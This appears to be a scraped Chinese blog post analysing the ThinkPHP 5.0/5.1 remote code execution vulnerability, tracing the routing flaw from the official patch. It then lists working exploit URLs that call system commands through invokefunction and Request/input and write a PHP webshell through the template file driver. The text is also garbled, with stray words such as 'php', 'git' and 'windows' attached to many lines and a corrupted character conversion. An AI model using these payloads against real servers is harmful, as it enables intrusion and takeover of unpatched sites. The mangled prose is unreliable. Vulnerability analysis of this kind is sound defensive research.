近日thinkphp團隊發佈了版本更新https://blog.thinkphp.cn/869075 ,其中修復了一處getshell漏洞。php
5.x < 5.1.31
<= 5.0.23git
遠程代碼執行github
如下漏洞分析源於鬥魚SRC公衆號:鬥魚安全應急響應中心
分析補丁:802f284bec821a608e7543d91126abc5901b2815
路由信息中controller
的部分進行了過濾,可知問題出如今路由調度時。
以5.1.23版本進行分析,執行路由調度的代碼以下:
其中使用了$this->app->controller
方法來實例化控制器,而後調用實例中的方法。跟進controller
方法:
其中經過parseModuleAndClass方法解析出$module
和$class
,而後實例化$class
。rseModuleAndClass
方法中,當$name
以反斜線\開始時直接將其做爲類名。利用命名空間的特色,若是能夠控制此處的$name
(即路由中的controller部分),那麼就能夠實例化任何一個類。
接着,咱們再往回看路由解析的代碼。其中route/dispatch/Url.php:: parseUrl
方法調用了route/Rule.php:: parseUrlPath
來解析pathinfo
中的路由信息
代碼比較簡單,就是使用/對$url
進行分割,未進行任何過濾。
其中的路由url從Request::path()
中獲取
因爲var_pathinfo
的默認配置爲s
,咱們可利用$_GET['s']
來傳遞路由信息,也可利用pathinfo
來傳遞,但測試時windows
環境下會將$_SERVER['pathinfo']
中的\
替換爲/
。
結合前面分析可得初步利用代碼以下:index.php?s=index/\namespace\class/method
,這將會實例化\namespace\class
類並執行method
方法。
然而利用過程當中會存在一些限制,部分類在實例化時因爲缺乏參數而報錯。
通過一番尋找,在\think\Request
類中找到能夠利用的方法input
。如下爲執行phpinfo
thinkphp
直接從官網下載完整包解壓到www(網站根目錄)目錄便可,URL指向public目錄(如:http://localhost/TP5.0.22/public/ )shell
官方再也不提供完整版下載,筆者從composer
下載最新版後與官方GitHub進行了對比,發現如下幾個倉庫
Framework
think
think-installer
發現framework
倉庫就是完整版中的thinkphp
目錄think
倉庫是thinkphp
的主架構think-installer
對應路徑爲path\to\thinkphp\vendor\topthink\think-installer
那麼整合下就行了
最終目錄架構
訪問下
windows
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
安全
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
架構
thinkphp5.1.29爲例app
一、代碼執行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
二、命令執行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操做系統命令
三、文件寫入(寫shell):http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
四、未知:http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
composer
五、代碼執行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
六、命令執行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操做系統命令
七、代碼執行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
八、命令執行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操做系統命令
Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815